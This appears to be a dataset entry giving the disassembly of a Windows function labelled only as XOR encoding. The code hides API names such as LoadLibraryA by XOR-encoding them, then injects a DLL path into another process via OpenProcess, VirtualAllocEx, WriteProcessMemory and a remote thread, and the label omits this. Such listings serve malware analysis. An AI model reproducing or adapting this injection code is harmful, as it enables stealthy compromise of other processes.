Function at 0x140002590
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rbx
push rdi
push r13
lea rbp, [rsp - 0x3f]
sub rsp, 0xd8
mov rax, qword [0x140014040]
xor rax, rsp
mov qword [rbp + 0x17], rax
movzx r10d, r8b
mov byte [rbp + 3], 0
mov ebx, ecx
mov byte [rbp + 0x13], 0
movzx eax, r8b
movzx ecx, r8b
xor al, 0x6b
xor cl, 0x65
mov byte [rbp - 9], al
mov rdi, rdx
movzx eax, r8b
mov byte [rbp - 8], cl
xor al, 0x6e
mov byte [rbp - 5], cl
mov byte [rbp - 6], al
movzx ecx, r8b
xor cl, 0x6c
movzx eax, r8b
xor al, 0x33
mov byte [rbp - 4], cl
mov byte [rbp - 3], al
movzx r9d, r8b
movzx eax, r8b
mov byte [rbp + 1], cl
xor al, 0x32
mov byte [rbp + 2], cl
mov byte [rbp - 2], al
xor r9b, 0x72
movzx eax, r8b
mov byte [rbp - 7], r9b
xor al, 0x2e
mov byte [rbp + 0xe], r9b
mov byte [rbp - 1], al
xor r8b, 0x64
movzx eax, r10b
mov byte [rbp], r8b
xor al, 0x6f
mov byte [rbp + 0xa], r8b
mov byte [rbp + 8], al
movzx ecx, r10b
xor cl, 0x4c
mov byte [rbp + 0x10], r9b
movzx eax, r10b
mov byte [rbp + 7], cl
xor al, 0x69
mov byte [rbp + 0xb], cl
mov byte [rbp + 0xc], al
movzx edx, r10b
xor dl, 0x61
movzx eax, r10b
xor al, 0x62
mov byte [rbp + 9], dl
mov byte [rbp + 0xd], al
movzx eax, r10b
xor al, 0x79
mov byte [rbp + 0xf], dl
mov byte [rbp + 0x11], al
movzx eax, r10b
xor al, 0x41
xor r13d, r13d
mov byte [rbp + 0x12], al
mov eax, r13d
nop dword [rax + rax]
xor byte [rbp + rax - 9], r10b
xor byte [rbp + rax + 7], r10b
inc rax
cmp rax, 0xc
jb 0x140002680
mov qword [rsp + 0x118], rsi
lea rcx, [rbp - 9]
mov qword [rsp + 0xc0], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x14000292a
lea rdx, [rbp + 7]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
je 0x14000292a
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x14000292a
mov qword [rsp + 0xc8], r14
call fcn.140002430
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rdi + r8], r13b
jne 0x140002702
inc r8
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x14000291d
cmp byte [rdi + rbx + 1], r13b
lea rbx, [rbx + 1]
jne 0x140002733
lea r9, [rbx + 1]
mov qword [rsp + 0x20], r13
mov r8, rdi
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140002908
mov qword [rsp + 0xd0], r12
call fcn.140002430
mov r8b, 0x69
mov qword [rbp - 0x11], r13
mov dl, 0x61
mov byte [rbp - 0x21], 5
movzx r9d, r8b
movzx r11d, dl
movzx ebx, r8b
movzx edi, r8b
mov cl, 0x71
mov al, 0x6b
xor cl, 5
mov r10b, 0x2b
mov byte [rbp - 0x1f], cl
xor r9b, 5
xor r11b, 5
mov byte [rbp - 0x1c], r9b
xor al, 5
mov byte [rbp - 0x1a], r11b
xor dl, 5
mov byte [rbp - 0x20], al
xor r8b, 5
mov byte [rbp - 0x1e], dl
xor r10b, 5
mov byte [rbp - 0x1d], r8b
xor bl, 5
mov byte [rbp - 0x1b], r10b
xor dil, 5
mov byte [rbp - 0x19], bl
xor r12d, r12d
mov byte [rbp - 0x18], dil
lea rcx, [rbp - 0x20]
mov byte [rbp - 0x17], r12b
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r12, qword [rsp + 0xd0]
mov rbx, rax
test rax, rax
je 0x14000289e
movdqa xmm1, xmmword [0x14000fa60]
mov dl, 0x17
movd eax, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp - 0x39], xmm1
mov byte [rbp - 0x28], r13b
xor byte [rbp - 0x37], al
xor dl, al
xor byte [rbp - 0x36], al
xor byte [rbp - 0x35], al
xor byte [rbp - 0x34], al
xor byte [rbp - 0x33], al
xor byte [rbp - 0x32], al
xor byte [rbp - 0x31], al
xor byte [rbp - 0x30], al
xor byte [rbp - 0x2f], al
xor byte [rbp - 0x2e], al
xor byte [rbp - 0x2d], al
xor byte [rbp - 0x2c], al
xor byte [rbp - 0x2b], al
xor byte [rbp - 0x2a], al
psrldq xmm0, 1
movd ecx, xmm0
mov byte [rbp - 0x29], dl
lea rdx, [rbp - 0x38]
xor cl, al
mov byte [rbp - 0x38], cl
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140002895
mov qword [rsp + 0x50], r13
lea rcx, [rbp - 0x11]
mov qword [rsp + 0x48], r13
mov r9, rsi
mov qword [rsp + 0x40], r13
xor r8d, r8d
mov qword [rsp + 0x38], r13
mov edx, 0x1fffff
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r15
call rax
test eax, eax
jne 0x140002908
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rbp - 0x11]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rbp - 0x11]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov r14, qword [rsp + 0xc8]
mov r15, qword [rsp + 0xc0]
mov rsi, qword [rsp + 0x118]
mov rcx, qword [rbp + 0x17]
xor rcx, rsp
call fcn.14000cc40
add rsp, 0xd8
pop r13
pop rdi
pop rbx
pop rbp
ret
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x1400028d7
xor al, al
jmp 0x1400028df